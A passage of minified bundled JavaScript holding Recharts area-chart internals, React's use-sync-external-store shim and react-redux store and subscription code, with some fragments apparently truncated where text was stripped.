n=qn(e).areas.findIndex(r=>r===t.payload);n!==-1&&e.areas.splice(n,1)},addLine:(e,t)=>{e.lines.push(t.payload)},removeLine:(e,t)=>{var n=qn(e).lines.findIndex(r=>r===t.payload);n!==-1&&e.lines.splice(n,1)}}}),{addDot:hH,removeDot:xH,addArea:vH,removeArea:gH,addLine:yH,removeLine:bH}=A3.actions,IF=A3.reducer,DF=m.createContext(void 0),RF=e=>{var{children:t}=e,[n]=m.useState("".concat(Ro("recharts"),"-clip")),r=vv();if(r==null)return null;var{x:i,y:s,width:o,height:l}=r;return m.createElement(DF.Provider,{value:n},m.createElement("defs",null,m.createElement("clipPath",{id:n},m.createElement("rect",{x:i,y:s,height:l,width:o}))),t)},$F={},O3=nn({name:"errorBars",initialState:$F,reducers:{addErrorBar:(e,t)=>{var{itemId:n,errorBar:r}=t.payload;e[n]||(e[n]=[]),e[n].push(r)},replaceErrorBar:(e,t)=>{var{itemId:n,prev:r,next:i}=t.payload;e[n]&&(e[n]=e[n].map(s=>s.dataKey===r.dataKey&&s.direction===r.direction?i:s))},removeErrorBar:(e,t)=>{var{itemId:n,errorBar:r}=t.payload;e[n]&&(e[n]=e[n].filter(i=>i.dataKey!==r.dataKey||i.direction!==r.direction))}}}),{addErrorBar:wH,replaceErrorBar:jH,removeErrorBar:NH}=O3.actions,BF=O3.reducer;function T3(e,t){var n,r,i=je(u=>Gr(u,e)),s=je(u=>Xr(u,t)),o=(n=i==null?void 0:i.allowDataOverflow)!==null&&n!==void 0?n:q4.allowDataOverflow,l=(r=s==null?void 0:s.allowDataOverflow)!==null&&r!==void 0?r:G4.allowDataOverflow,c=o||l;return{needClip:c,needClipX:o,needClipY:l}}function FF(e){var{xAxisId:t,yAxisId:n,clipPathId:r}=e,i=vv(),{needClipX:s,needClipY:o,needClip:l}=T3(t,n);if(!l||!i)return null;var{x:c,y:u,width:d,height:f}=i;return m.createElement("clipPath",{id:"clipPath-".concat(r)},m.createElement("rect",{x:s?c:c-d/2,y:o?u:u-f/2,width:s?d:d*2,height:o?f:f*2}))}function WF(e){var t=Io(e),n=3,r=2;if(t!=null){var{r:i,strokeWidth:s}=t,o=Number(i),l=Number(s);return(Number.isNaN(o)||o<0)&&(o=n),(Number.isNaN(l)||l<0)&&(l=r),{r:o,strokeWidth:l}}return{r:n,strokeWidth:r}}var UF={};/** + * @license React + * use-sync-external-store-with-selector.production.js + * + * Copyright (c) Meta Platforms, Inc. and affiliates. + * + * This source code is licensed under the MIT license found in the + * LICENSE file in the root directory of this source tree. + */var jl=m;function VF(e,t){return e===t&&(e!==0||1/e===1/t)||e!==e&&t!==t}var HF=typeof Object.is=="function"?Object.is:VF,KF=jl.useSyncExternalStore,YF=jl.useRef,qF=jl.useEffect,GF=jl.useMemo,XF=jl.useDebugValue;UF.useSyncExternalStoreWithSelector=function(e,t,n,r,i){var s=YF(null);if(s.current===null){var o={hasValue:!1,value:null};s.current=o}else o=s.current;s=GF(function(){function c(h){if(!u){if(u=!0,d=h,h=r(h),i!==void 0&&o.hasValue){var x=o.value;if(i(x,h))return f=x}return f=h}if(x=f,HF(d,h))return x;var g=r(h);return i!==void 0&&i(x,g)?(d=h,x):(d=h,f=g)}var u=!1,d,f,p=n===void 0?null:n;return[function(){return c(t())},p===null?void 0:function(){return c(p())}]},[t,n,r,i]);var l=KF(e,s[0],s[1]);return qF(function(){o.hasValue=!0,o.value=l},[l]),XF(l),l};function ZF(e){e()}function QF(){let e=null,t=null;return{clear(){e=null,t=null},notify(){ZF(()=>{let n=e;for(;n;)n.callback(),n=n.next})},get(){const n=[];let r=e;for(;r;)n.push(r),r=r.next;return n},subscribe(n){let r=!0;const i=t={callback:n,next:null,prev:t};return i.prev?i.prev.next=i:e=i,function(){!r||e===null||(r=!1,i.next?i.next.prev=i.prev:t=i.prev,i.prev?i.prev.next=i.next:e=i.next)}}}}var z2={notify(){},get:()=>[]};function JF(e,t){let n,r=z2,i=0,s=!1;function o(g){d();const y=r.subscribe(g);let v=!1;return()=>{v||(v=!0,y(),f())}}function l(){r.notify()}function c(){x.onStateChange&&x.onStateChange()}function u(){return s}function d(){i++,n||(n=e.subscribe(c),r=QF())}function f(){i--,n&&i===0&&(n(),n=void 0,r.clear(),r=z2)}function p(){s||(s=!0,d())}function h(){s&&(s=!1,f())}const x={addNestedSub:o,notifyNestedSubs:l,handleChangeWrapper:c,isSubscribed:u,trySubscribe:p,tryUnsubscribe:h,getListeners:()=>r};return x}var eW=()=>typeof window<"u"&&typeof window.document<"u"&&typeof window.document.createElement<"u",tW=eW(),nW=()=>typeof navigator<"u"&&navigator.product==="ReactNative",rW=nW(),iW=()=>tW||rW?m.useLayoutEffect:m.useEffect,aW=iW();function S2(e,t){return e===t?e!==0||t!==0||1/e===1/t:e!==e&&t!==t}function sW(e,t){if(S2(e,t))return!0;if(typeof e!="object"||e===null||typeof t!="object"||t===null)return!1;const n=Object.keys(e),r=Object.keys(t);if(n.length!==r.length)return!1;for(let i=0;i{const c=JF(i);return{store:i,subscription:c,getServerState:r?()=>r:void 0}},[i,r]),o=m.useMemo(()=>i.getState(),[i]);aW(()=>{const{subscription:c}=s;return c.onStateChange=c.notifyNestedSubs,c.trySubscribe(),o!==i.getState()&&c.notifyNestedSubs(),()=>{c.tryUnsubscribe(),c.onStateChange=void 0}},[s,o]);const l=n||lW;return m.createElement(l.Provider,{value:s},t)}var uW=cW,dW=new Set(["axisLine","tickLine","activeBar","activeDot","activeLabel","activeShape","allowEscapeViewBox","background","cursor","dot","label","line","margin","padding","position","shape","style","tick","wrapperStyle","radius"]);function fW(e,t){return e==null&&t==null?!0:typeof e=="number"&&typeof t=="number"?e===t||e!==e&&t!==t:e===t}function M3(e,t){var n=new Set([...Object.keys(e),...Object.keys(t)]);for(var r of n)if(dW.has(r)){if(e[r]==null&&t[r]==null)continue;if(!sW(e[r],t[r]))return!1}else if(!fW(e[r],t[r]))return!1;return!0}function gv(e,t){var n,r;return(n=(r=e.graphicalItems.cartesianItems.find(i=>i.id===t))===null||r===void 0?void 0:r.xAxisId)!==null&&n!==void 0?n:C3}function yv(e,t){var n,r;return(n=(r=e.graphicalItems.cartesianItems.find(i=>i.id===t))===null||r===void 0?void 0:r.yAxisId)!==null&&n!==void 0?n:C3}var L3=(e,t,n)=>gz(e,"xAxis",gv(e,t),n),I3=(e,t,n)=>vz(e,"xAxis",gv(e,t),n),D3=(e,t,n)=>gz(e,"yAxis",yv(e,t),n),R3=(e,t,n)=>vz(e,"yAxis",yv(e,t),n),mW=L([De,L3,D3,I3,R3],(e,t,n,r,i)=>xr(e,"xAxis")?hu(t,r,!1):hu(n,i,!1)),pW=(e,t)=>t,$3=L([Z4,pW],(e,t)=>e.filter(n=>n.type==="area").find(n=>n.id===t)),B3=e=>{var t=De(e),n=xr(t,"xAxis");return n?"yAxis":"xAxis"},hW=(e,t)=>{var n=B3(e);return n==="yAxis"?yv(e,t):gv(e,t)},xW=(e,t,n)=>nz(e,B3(e),hW(e,t),n),vW=L([$3,xW],(e,t)=>{var n;if(!(e==null||t==null)){var{stackId:r}=e,i=M0(e);if(!(r==null||i==null)){var s=(n=t[r])===null||n===void 0?void 0:n.stackedData,o=s==null?void 0:s.find(l=>l.key===i);if(o!=null)return o.map(l=>[l[0],l[1]])}}}),gW=L([De,L3,D3,I3,R3,vW,oI,mW,$3,xI],(e,t,n,r,i,s,o,l,c,u)=>{var{chartData:d,dataStartIndex:f,dataEndIndex:p}=o;if(!(c==null||e!=="horizontal"&&e!=="vertical"||t==null||n==null||r==null||i==null||r.length===0||i.length===0||l==null)){var{data:h}=c,x;if(h&&h.length>0?x=h:x=d==null?void 0:d.slice(f,p+1),x!=null)return DW({layout:e,xAxis:t,yAxis:n,xAxisTicks:r,yAxisTicks:i,dataStartIndex:f,areaSettings:c,stackedData:s,displayedData:x,chartBaseValue:u,bandSize:l})}}),yW=["id"],bW=["activeDot","animationBegin","animationDuration","animationEasing","connectNulls","dot","fill","fillOpacity","hide","isAnimationActive","legendType","stroke","xAxisId","yAxisId"];function na(){return na=Object.assign?Object.assign.bind():function(e){for(var t=1;t{var{dataKey:t,name:n,stroke:r,fill:i,legendType:s,hide:o}=e;return[{inactive:o,dataKey:t,type:s,color:Vu(r,i),value:Dd(n,t),payload:e}]},SW=m.memo(e=>{var{dataKey:t,data:n,stroke:r,strokeWidth:i,fill:s,name:o,hide:l,unit:c,tooltipType:u,id:d}=e,f={dataDefinedOnItem:n,getPosition:ys,settings:{stroke:r,strokeWidth:i,fill:s,dataKey:t,nameKey:void 0,name:Dd(o,t),hide:l,type:u,color:Vu(r,s),unit:c,graphicalItemId:d}};return m.createElement(N3,{tooltipEntrySettings:f})});function CW(e){var{clipPathId:t,points:n,props:r}=e,{needClip:i,dot:s,dataKey:o}=r,l=Mr(r);return m.createElement(wF,{points:n,dot:s,className:"recharts-area-dots",dotClassName:"recharts-area-dot",dataKey:o,baseProps:l,needClip:i,clipPathId:t})}function PW(e){var{showLabels:t,children:n,points:r}=e,i=r.map(s=>{var o,l,c={x:(o=s.x)!==null&&o!==void 0?o:0,y:(l=s.y)!==null&&l!==void 0?l:0,width:0,lowerWidth:0,upperWidth:0,height:0};return Wa(Wa({},c),{},{value:s.value,payload:s.payload,parentViewBox:void 0,viewBox:c,fill:void 0})});return m.createElement(D$,{value:t?i:void 0},n)}function P2(e){var{points:t,baseLine:n,needClip:r,clipPathId:i,props:s}=e,{layout:o,type:l,stroke:c,connectNulls:u,isRange:d}=s,{id:f}=s,p=F3(s,yW),h=Mr(p),x=Ut(p);return m.createElement(m.Fragment,null,(t==null?void 0:t.length)>1&&m.createElement(tn,{clipPath:r?"url(#clipPath-".concat(i,")"):void 0},m.createElement(Xa,na({},x,{id:f,points:t,connectNulls:u,type:l,baseLine:n,layout:o,stroke:"none",className:"recharts-area-area"})),c!=="none"&&m.createElement(Xa,na({},h,{className:"recharts-area-curve",layout:o,type:l,connectNulls:u,fill:"none",points:t})),c!=="none"&&d&&m.createElement(Xa,na({},h,{className:"recharts-area-curve",layout:o,type:l,connectNulls:u,fill:"none",points:n}))),m.createElement(CW,{points:t,props:p,clipPathId:i}))}function EW(e){var t,n,{alpha:r,baseLine:i,points:s,strokeWidth:o}=e,l=(t=s[0])===null||t===void 0?void 0:t.y,c=(n=s[s.length-1])===null||n===void 0?void 0:n.y;if(!Ee(l)||!Ee(c))return null;var u=r*Math.abs(l-c),d=Math.max(...s.map(f=>f.x||0));return ge(i)?d=Math.max(i,d):i&&Array.isArray(i)&&i.length&&(d=Math.max(...i.map(f=>f.x||0),d)),ge(d)?m.createElement("rect",{x:0,y:lf.y||0));return ge(i)?d=Math.max(i,d):i&&Array.isArray(i)&&i.length&&(d=Math.max(...i.map(f=>f.y||0),d)),ge(d)?m.createElement("rect",{x:l({points:o,baseLine:l}),[o,l]),g=qd(x,"recharts-area-"),y=tM(),[v,b]=m.useState(!1),w=!v,j=m.useCallback(()=>{typeof h=="function"&&h(),b(!1)},[h]),N=m.useCallback(()=>{typeof p=="function"&&p(),b(!0)},[p]);if(y==null)return null;var k=i.current,z=s.current;return m.createElement(PW,{showLabels:w,points:o},r.children,m.createElement(Yd,{animationId:g,begin:u,duration:d,isActive:c,easing:f,onAnimationEnd:j,onAnimationStart:N,key:g},S=>{if(k){var A=k.length/o.length,_=S===1?o:o.map((P,D)=>{var V=Math.floor(D*A);if(k[V]){var R=k[V];return Wa(Wa({},P),{},{x:At(R.x,P.x,S),y:At(R.y,P.y,S)})}return P}),O;return ge(l)?O=At(z,l,S):Mt(l)||fr(l)?O=At(z,0,S):O=l.map((P,D)=>{var V=Math.floor(D*A);if(Array.isArray(z)&&z[V]){var R=z[V];return Wa(Wa({},P),{},{x:At(R.x,P.x,S),y:At(R.y,P.y,S)})}return P}),S>0&&(i.current=_,s.current=O),m.createElement(P2,{points:_,baseLine:O,needClip:t,clipPathId:n,props:r})}return S>0&&(i.current=o,s.current=l),m.createElement(tn,null,c&&m.createElement("defs",null,m.createElement("clipPath",{id:"animationClipPath-".concat(n)},m.createElement(AW,{alpha:S,points:o,baseLine:l,layout:y,strokeWidth:r.strokeWidth}))),m.createElement(tn,{clipPath:"url(#animationClipPath-".concat(n,")")},m.createElement(P2,{points:o,baseLine:l,needClip:t,clipPathId:n,props:r})))}),m.createElement(f3,{label:r.label}))}function TW(e){var{needClip:t,clipPathId:n,props:r}=e,i=m.useRef(null),s=m.useRef();return m.createElement(OW,{needClip:t,clipPathId:n,props:r,previousPointsRef:i,previousBaselineRef:s})}class MW extends m.PureComponent{render(){var{hide:t,dot:n,points:r,className:i,top:s,left:o,needClip:l,xAxisId:c,yAxisId:u,width:d,height:f,id:p,baseLine:h,zIndex:x}=this.props;if(t)return null;var g=Qe("recharts-area",i),y=p,{r:v,strokeWidth:b}=WF(n),w=w3(n),j=v*2+b,N=l?"url(#clipPath-".concat(w?"":"dots-").concat(y,")"):void 0;return m.createElement(Mi,{zIndex:x},m.createElement(tn,{className:g},l&&m.createElement("defs",null,m.createElement(FF,{clipPathId:y,xAxisId:c,yAxisId:u}),!w&&m.createElement("clipPath",{id:"clipPath-dots-".concat(y)},m.createElement("rect",{x:o-j/2,y:s-j/2,width:d+j,height:f+j}))),m.createElement(TW,{needClip:l,clipPathId:y,props:this.props})),m.createElement(N2,{points:r,mainColor:Vu(this.props.stroke,this.props.fill),itemDataKey:this.props.dataKey,activeDot:this.props.activeDot,clipPath:N}),this.props.isRange&&Array.isArray(h)&&m.createElement(N2,{points:h,mainColor:Vu(this.props.stroke,this.props.fill),itemDataKey:this.props.dataKey,activeDot:this.props.activeDot,clipPath:N}))}}var W3={activeDot:!0,animationBegin:0,animationDuration:1500,animationEasing:"ease",connectNulls:!1,dot:!1,fill:"#3182bd",fillOpacity:.6,hide:!1,isAnimationActive:"auto",legendType:"line",stroke:"#3182bd",strokeWidth:1,type:"linear",label:!1,xAxisId:0,yAxisId:0,zIndex:Zt.area};function LW(e){var t,n=gn(e,W3),{activeDot:r,animationBegin:i,animationDuration:s,animationEasing:o,connectNulls:l,dot:c,fill:u,fillOpacity:d,hide:f,isAnimationActive:p,legendType:h,stroke:x,xAxisId:g,yAxisId:y}=n,v=F3(n,bW),b=bs(),w=Wz(),{needClip:j}=T3(g,y),N=Jn(),{points:k,isRange:z,baseLine:S}=(t=je(V=>gW(V,e.id,N)))!==null&&t!==void 0?t:{},A=vv();if(b!=="horizontal"&&b!=="vertical"||A==null||w!=="AreaChart"&&w!=="ComposedChart")return null;var{height:_,width:O,x:P,y:D}=A;return!k||!k.length?null:m.createElement(MW,na({},v,{activeDot:r,animationBegin:i,animationDuration:s,animationEasing:o,baseLine:S,connectNulls:l,dot:c,fill:u,fillOpacity:d,height:_,hide:f,layout:b,isAnimationActive:p==="auto"?!Kd.isSsr:p,isRange:z,legendType:h,needClip:j,points:k,stroke:x,width:O,left:P,top:D,xAxisId:g,yAxisId:y}))}var IW=(e,t,n,r,i)=>{var s=n??t;if(ge(s))return s;var o=e==="horizontal"?i:r,l=o.scale.domain();if(o.type==="number"){var c=Math.max(l[0],l[1]),u=Math.min(l[0],l[1]);return s==="dataMin"?u:s==="dataMax"||c<0?c:Math.max(Math.min(l[0],l[1]),0)}return s==="dataMin"?l[0]:s==="dataMax"?l[1]:l[0]};function DW(e){var{areaSettings:{connectNulls:t,baseValue:n,dataKey:r},stackedData:i,layout:s,chartBaseValue:o,xAxis:l,yAxis:c,displayedData:u,dataStartIndex:d,xAxisTicks:f,yAxisTicks:p,bandSize:h}=e,x=i&&i.length,g=IW(s,o,n,l,c),y=s==="horizontal",v=!1,b=u.map((j,N)=>{var k,z,S,A;if(x)A=i[d+N];else{var _=Ve(j,r);Array.isArray(_)?(A=_,v=!0):A=[g,_]}var O=(k=(z=A)===null||z===void 0?void 0:z[1])!==null&&k!==void 0?k:null,P=O==null||x&&!t&&Ve(j,r)==null;if(y){var D;return{x:Ty({axis:l,ticks:f,bandSize:h,entry:j,index:N}),y:P?null:(D=c.scale.map(O))!==null&&D!==void 0?D:null,value:A,payload:j}}return{x:P?null:(S=l.scale.map(O))!==null&&S!==void 0?S:null,y:Ty({axis:c,ticks:p,bandSize:h,entry:j,index:N}),value:A,payload:j}}),w;return x||v?w=b.map(j=>{var N,k=Array.isArray(j.value)?j.value[0]:null;if(y){var z;return{x:j.x,y:k!=null&&j.y!=null&&(z=c.scale.map(k))!==null&&z!==void 0?z:null,payload:j.payload}}return{x:k!=null&&(N=l.scale.map(k))!==null&&N!==void 0?N:null,y:j.y,payload:j.payload}}):w=y?c.scale.map(g):l.scale.map(g),{points:b,baseLine:w??0,isRange:v}}function RW(e){var t=gn(e,W3),n=Jn();return m.createElement(k3,{id:t.id,type:"area"},r=>m.createElement(m.Fragment,null,m.createElement(CB,{legendPayload:zW(t)}),m.createElement(SW,{dataKey:t.dataKey,data:t.data,stroke:t.stroke,strokeWidth:t.strokeWidth,fill:t.fill,name:t.name,hide:t.hide,unit:t.unit,tooltipType:t.tooltipType,id:r}),m.createElement(FB,{type:"area",id:r,data:t.data,dataKey:t.dataKey,xAxisId:t.xAxisId,yAxisId:t.yAxisId,zAxisId:0,stackId:wT(t.stackId),hide:t.hide,barSize:void 0,baseValue:t.baseValue,isPanorama:n,connectNulls:t.connectNulls}),m.createElement(LW,na({},t,{id:r}))))}var U3=m.memo(RW,M3);U3.displayName="Area";var $W=(e,t)=>t,bv=L([$W,De,H4,St,Lz,Zr,TR,kt],BR),wv=e=>{var t=e.currentTarget.getBoundingClientRect(),n=t.width/e.currentTarget.offsetWidth,r=t.height/e.currentTarget.offsetHeight;return{chartX:Math.round((e.clientX-t.left)/n),chartY:Math.round((e.clientY-t.top)/r)}},V3=On("mouseClick"),H3=ol();H3.startListening({actionCreator:V3,effect:(e,t)=>{var n=e.payload,r=bv(t.getState(),wv(n));(r==null?void 0:r.activeIndex)!=null&&t.dispatch(OD({activeIndex:r.activeIndex,activeDataKey:void 0,activeCoordinate:r.activeCoordinate}))}});var kh=On("mouseMove"),K3=ol(),nc=null;K3.startListening({actionCreator:kh,effect:(e,t)=>{var n=e.payload;nc!==null&&cancelAnimationFrame(nc);var r=wv(n);nc=requestAnimationFrame(()=>{var i=t.getState(),s=nv(i,i.tooltip.settings.shared);if(s==="axis"){var o=bv(i,r);(o==null?void 0:o.activeIndex)!=null?t.dispatch(Sz({activeIndex:o.activeIndex,activeDataKey:void 0,activeCoordinate:o.activeCoordinate})):t.dispatch(zz())}nc=null})}});function BW(e,t){return t instanceof HTMLElement?"HTMLElement <".concat(t.tagName,' class="').concat(t.className,'">'):t===window?"global.window":e==="children"&&typeof t=="object"&&t!==null?"<>":t}var E2={accessibilityLayer:!0,barCategoryGap:"10%",barGap:4,barSize:void 0,className:void 0,maxBarSize:void 0,stackOffset:"none",syncId:void 0,syncMethod:"index",baseValue:void 0,reverseStackOrder:!1},Y3=nn({name:"rootProps",initialState:E2,reducers:{updateOptions:(e,t)=>{var n;e.accessibilityLayer=t.payload.accessibilityLayer,e.barCategoryGap=t.payload.barCategoryGap,e.barGap=(n=t.payload.barGap)!==null&&n!==void 0?n:E2.barGap,e.barSize=t.payload.barSize,e.maxBarSize=t.payload.maxBarSize,e.stackOffset=t.payload.stackOffset,e.syncId=t.payload.syncId,e.syncMethod=t.payload.syncMethod,e.className=t.payload.className,e.baseValue=t.payload.baseValue,e.reverseStackOrder=t.payload.reverseStackOrder}}}),FW=Y3.reducer,{updateOptions:WW}=Y3.actions,UW=null,VW={updatePolarOptions:(e,t)=>t.payload},q3=nn({name:"polarOptions",initialState:UW,reducers:VW}),{updatePolarOptions:HW}=q3.actions,KW=q3.reducer,G3=On("keyDown"),X3=On("focus"),jv=ol();jv.startListening({actionCreator:G3,effect:(e,t)=>{var n=t.getState(),r=n.rootProps.accessibilityLayer!==!1;if(r){var{keyboardInteraction:i}=n.tooltip,s=e.payload;if(!(s!=="ArrowRight"&&s!=="ArrowLeft"&&s!=="Enter")){var o=rv(i,Es(n),gl(n),bl(n)),l=o==null?-1:Number(o);if(!(!Number.isFinite(l)||l<0)){var c=Zr(n);if(s==="Enter"){var u=Ru(n,"axis","hover",String(i.index));t.dispatch(yh({active:!i.active,activeIndex:i.index,activeCoordinate:u}));return}var d=jD(n),f=d==="left-to-right"?1:-1,p=s==="ArrowRight"?1:-1,h=l+p*f;if(!(c==null||h>=c.length||h<0)){var x=Ru(n,"axis","hover",String(h));t.dispatch(yh({active:!0,activeIndex:h.toString(),activeCoordinate:x}))}}}}}});jv.startListening({actionCreator:X3,effect:(e,t)=>{var n=t.getState(),r=n.rootProps.accessibilityLayer!==!1;if(r){var{keyboardInteraction:i}=n.tooltip;if(!i.active&&i.index==null){var s="0",o=Ru(n,"axis","hover",String(s));t.dispatch(yh({active:!0,activeIndex:s,activeCoordinate:o}))}}}});var kn=On("externalEvent"),Z3=ol(),Em=new Map;Z3.startListening({actionCreator:kn,effect:(e,t)=>{var{handler:n,reactEvent:r}=e.payload;if(n!=null){r.persist();var i=r.type,s=Em.get(i);s!==void 0&&cancelAnimationFrame(s);var o=requestAnimationFrame(()=>{try{var l=t.getState(),c={activeCoordinate:gR(l),activeDataKey:$z(l),activeIndex:fs(l),activeLabel:Rz(l),activeTooltipIndex:fs(l),isTooltipActive:yR(l)};n(c,r)}finally{Em.delete(i)}});Em.set(i,o)}}});var YW=L([Cs],e=>e.tooltipItemPayloads),qW=L([YW,(e,t)=>t,(e,t,n)=>n],(e,t,n)=>{if(t!=null){var r=e.find(s=>s.settings.graphicalItemId===n);if(r!=null){var{getPosition:i}=r;if(i!=null)return i(t)}}}),Q3=On("touchMove"),J3=ol();J3.startListening({actionCreator:Q3,effect:(e,t)=>{var n=e.payload;if(!(n.touches==null||n.touches.length===0)){var r=t.getState(),i=nv(r,r.tooltip.settings.shared);if(i==="axis"){var s=n.touches[0];if(s==null)return;var o=bv(r,wv({clientX:s.clientX,clientY:s.clientY,currentTarget:n.currentTarget}));(o==null?void 0:o.activeIndex)!=null&&t.dispatch(Sz({activeIndex:o.activeIndex,activeDataKey:void 0,activeCoordinate:o.activeCoordinate}))}else if(i==="item"){var l,c=n.touches[0];if(document.elementFromPoint==null||c==null)return;var u=document.elementFromPoint(c.clientX,c.clientY);if(!u||!u.getAttribute)return;var d=u.getAttribute(pk),f=(l=u.getAttribute(hk))!==null&&l!==void 0?l:void 0,p=Ps(r).find(g=>g.id===f);if(d==null||p==null||f==null)return;var{dataKey:h}=p,x=qW(r,d,f);t.dispatch(kz({activeDataKey:h,activeIndex:d,activeCoordinate:x,activeGraphicalItemId:f}))}}}});var GW=RN({brush:MF,cartesianAxis:SF,chartData:x9,errorBars:BF,graphicalItems:$B,layout:fT,legend:hM,options:d9,polarAxis:G$,polarOptions:KW,referenceElements:IF,rootProps:FW,tooltip:TD,zIndex:e9}),XW=function(t){var n=arguments.length>1&&arguments[1]!==void 0?arguments[1]:"Chart";return DO({reducer:GW,preloadedState:t,middleware:r=>{var i;return r({serializableCheck:!1,immutableCheck:!["commonjs","es6","production"].includes((i="es6")!==null&&i!==void 0?i:"")}).concat([H3.middleware,K3.middleware,jv.middleware,Z3.middleware,J3.middleware])},enhancers:r=>{var i=r;return typeof r=="function"&&(i=r()),i.concat(JN({type:"raf"}))},devTools:{serialize:{replacer:BW},name:"recharts-".concat(n)}})};function eS(e){var{preloadedState:t,children:n,reduxStoreName:r}=e,i=Jn(),s=m.useRef(null);if(i)return n;s.current==null&&(s.current=XW(t,r));var o=Vx;return m.createElement(uW,{context:o,store:s.current},n)}function ZW(e){var{layout:t,margin:n}=e,r=ot(),i=Jn();return m.useEffect(()=>{i||(r(cT(t)),r(lT(n)))},[r,i,t,n]),null}var tS=m.memo(ZW,M3);function nS(e){var t=ot();return m.useEffect(()=>{t(WW(e))},[t,e]),null}function _2(e){var{zIndex:t,isPanorama:n}=e,r=m.useRef(null),i=ot();return m.useLayoutEffect(()=>(r.current&&i(QR({zIndex:t,element:r.current,isPanorama:n})),()=>{i(JR({zIndex:t,isPanorama:n}))}),[i,t,n]),m.createElement("g",{tabIndex:-1,ref:r})}function A2(e){var{children:t,isPanorama:n}=e,r=je(WR);if(!r||r.length===0)return t;var i=r.filter(o=>o<0),s=r.filter(o=>o>0);return m.createElement(m.Fragment,null,i.map(o=>m.createElement(_2,{key:o,zIndex:o,isPanorama:n})),t,s.map(o=>m.createElement(_2,{key:o,zIndex:o,isPanorama:n})))}var QW=["children"];function JW(e,t){if(e==null)return{};var n,r,i=eU(e,t);if(Object.getOwnPropertySymbols){var s=Object.getOwnPropertySymbols(e);for(r=0;r{var n=JT(),r=eM(),i=Tk();if(!Si(n)||!Si(r))return null;var{children:s,otherAttributes:o,title:l,desc:c}=e,u,d;return o!=null&&(typeof o.tabIndex=="number"?u=o.tabIndex:u=i?0:void 0,typeof o.role=="string"?d=o.role:d=i?"application":void 0),m.createElement(R5,Hu({},o,{title:l,desc:c,role:d,tabIndex:u,width:n,height:r,style:tU,ref:t}),s)}),rU=e=>{var{children:t}=e,n=je(Fd);if(!n)return null;var{width:r,height:i,y:s,x:o}=n;return m.createElement(R5,{width:r,height:i,x:o,y:s},t)},O2=m.forwardRef((e,t)=>{var{children:n}=e,r=JW(e,QW),i=Jn();return i?m.createElement(rU,null,m.createElement(A2,{isPanorama:!0},n)):m.createElement(nU,Hu({ref:t},r),m.createElement(A2,{isPanorama:!1},n))});function iU(){var e=ot(),[t,n]=m.useState(null),r=je(CT);return m.useEffect(()=>{if(t!=null){var i=t.getBoundingClientRect(),s=i.width/t.offsetWidth;Ee(s)&&s!==r&&e(dT(s))}},[t,e,r]),n}function T2(e,t){var n=Object.keys(e);if(Object.getOwnPropertySymbols){var r=Object.getOwnPropertySymbols(e);t&&(r=r.filter(function(i){return Object.getOwnPropertyDescriptor(e,i).enumerable})),n.push.apply(n,r)}return n}function aU(e){for(var t=1;t(z9(),null);function Ku(e){if(typeof e=="number")return e;if(typeof e=="string"){var t=parseFloat(e);if(!Number.isNaN(t))return t}return 0}var uU=m.forwardRef((e,t)=>{var n,r,i=m.useRef(null),[s,o]=m.useState({containerWidth:Ku((n=e.style)===null||n===void 0?void 0:n.width),containerHeight:Ku((r=e.style)===null||r===void 0?void 0:r.height)}),l=m.useCallback((u,d)=>{o(f=>{var p=Math.round(u),h=Math.round(d);return f.containerWidth===p&&f.containerHeight===h?f:{containerWidth:p,containerHeight:h}})},[]),c=m.useCallback(u=>{if(typeof t=="function"&&t(u),u!=null&&typeof ResizeObserver<"u"){var{width:d,height:f}=u.getBoundingClientRect();l(d,f);var p=x=>{var g=x[0];if(g!=null){var{width:y,height:v}=g.contentRect;l(y,v)}},h=new ResizeObserver(p);h.observe(u),i.current=h}},[t,l]);return m.useEffect(()=>()=>{var u=i.current;u!=null&&u.disconnect()},[l]),m.createElement(m.Fragment,null,m.createElement(cl,{width:s.containerWidth,height:s.containerHeight}),m.createElement("div",ji({ref:c},e)))}),dU=m.forwardRef((e,t)=>{var{width:n,height:r}=e,[i,s]=m.useState({containerWidth:Ku(n),containerHeight:Ku(r)}),o=m.useCallback((c,u)=>{s(d=>{var f=Math.round(c),p=Math.round(u);return d.containerWidth===f&&d.containerHeight===p?d:{containerWidth:f,containerHeight:p}})},[]),l=m.useCallback(c=>{if(typeof t=="function"&&t(c),c!=null){var{width:u,height:d}=c.getBoundingClientRect();o(u,d)}},[t,o]);return m.createElement(m.Fragment,null,m.createElement(cl,{width:i.containerWidth,height:i.containerHeight}),m.createElement("div",ji({ref:l},e)))}),fU=m.forwardRef((e,t)=>{var{width:n,height:r}=e;return m.createElement(m.Fragment,null,m.createElement(cl,{width:n,height:r}),m.createElement("div",ji({ref:t},e)))}),mU=m.forwardRef((e,t)=>{var{width:n,height:r}=e;return typeof n=="string"||typeof r=="string"?m.createElement(dU,ji({},e,{ref:t})):typeof n=="number"&&typeof r=="number"?m.createElement(fU,ji({},e,{width:n,height:r,ref:t})):m.createElement(m.Fragment,null,m.createElement(cl,{width:n,height:r}),m.createElement("div",ji({ref:t},e)))});function pU(e){return e?uU:mU}var hU=m.forwardRef((e,t)=>{var{children:n,className:r,height:i,onClick:s,onContextMenu:o,onDoubleClick:l,onMouseDown:c,onMouseEnter:u,onMouseLeave:d,onMouseMove:f,onMouseUp:p,onTouchEnd:h,onTouchMove:x,onTouchStart:g,style:y,width:v,responsive:b,dispatchTouchEvents:w=!0}=e,j=m.useRef(null),N=ot(),[k,z]=m.useState(null),[S,A]=m.useState(null),_=iU(),O=Jx(),P=(O==null?void 0:O.width)>0?O.width:v,D=(O==null?void 0:O.height)>0?O.height:i,V=m.useCallback(C=>{_(C),typeof 